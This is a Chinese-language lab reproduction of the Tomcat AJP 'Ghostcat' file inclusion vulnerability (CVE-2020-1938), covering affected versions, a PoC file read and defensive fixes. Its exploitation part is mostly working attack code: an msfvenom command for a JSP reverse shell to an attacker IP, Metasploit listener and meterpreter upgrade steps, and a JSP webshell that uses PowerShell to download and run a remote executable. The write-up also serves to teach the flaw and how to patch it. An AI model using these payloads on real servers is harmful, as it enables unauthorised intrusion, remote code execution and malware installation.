漏洞认识:
Tomcat服务器通过Connector连接器组件与客户程序建立连接,“连接器”表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。
Tomcat默认在其配置文件server.xml中配置了两种connector:
HTTP connector
AJP connector
HTTP connector配置如下,它监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个
AJP连接器可以通过AJP协议和另一个web容器进行交互。它监听8009端口,负责和其他的HTTP服务器建立连接。在把Tomcat与其他HTTP服务器集成时,就需要用到这个连接器。AJP连接器可以通过AJP协议和一个web容器进行交互
默认情况下,tomcat配置完成后,在conf/server.xml文件中AJP connector服务在8009端口监听
漏洞影响范围:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞危害:
攻击者可以读取Tomcat下部署的所有webapp目录下的任意文件。同时,如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用Gh0stcat进行文件包含,从而达到代码执行的危害
环境搭建:
在官方网站上下载源码:
http://archive.apache.org/dist/tomcat/
漏洞环境:
win7 + jdk-1.8.0_201 + apache-tomcat-8.0.15
漏洞验证:
项目地址:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
端口扫描,发现开放8009端口,AJP协议:
漏洞验证,尝试读取文件:
python2 poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.107.141
可以看到成功读取到了 WEB-INF/web.xml 文件,存在CVE-2020-1938
利用过程:
利用原理:
向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用漏洞进行文件包含,从而达到代码执行的危害
1、利用msf生成反弹shell的jsp木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.107.129 LPORT=8888 -f raw > ceshi.jsp
2、利用上传点上传txt后缀文件
3、msf开启监听:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.107.129
set lport 8888
run
4、执行ajp文件包含漏洞脚本:
python2 poc.py -p 8009 -f ceshi.txt 192.168.107.141
5、msf成功反弹cmd shell:
为了更多操作,我们需要把它升级为meterpreter shell
use post/multi/manage/shell_to_meterpreter
set session 1
run
# 或者直接使用如下命令:
sessions -u id
另一种利用方法:
可以上传jsp文件,进行远程文件下载,并将远程木马文件安装到可解析目录
这里我们直接使用msf生成木马文件,利用Powershell远程下载木马文件并执行exe
<%@ page import="java.util.*,java.io.*"%>
<%
Runtime r = java.lang.Runtime.getRuntime();
String command = "powershell (new-object system.net.webclient).DownloadFile('http://192.168.107.129/5555.exe','d:/5555.exe');start-process d:/5555.exe";
try
{
Process p = r.exec(command);
out.println("command:"+command+"
");
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);
while (br.read()!=-1)
{
out.print(br.readLine());
}
br.close();
}catch(IOException e)
{
e.printStackTrace();
}
%>
防御措施:
首先确定服务器环境中是否有用到 Tomcat AJP 协议:
如果未使用集群或反向代理,则基本上可以确定没有用到 AJP
如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信
1、进行版本升级,直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复
2、如果无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost
编辑
将此行注释掉(或直接删掉此行)
3、如果要使用到ajp协议,可以为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证
参考如下:
两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式
CVE-2020-1938 Tomcat 文件读取/包含漏洞复现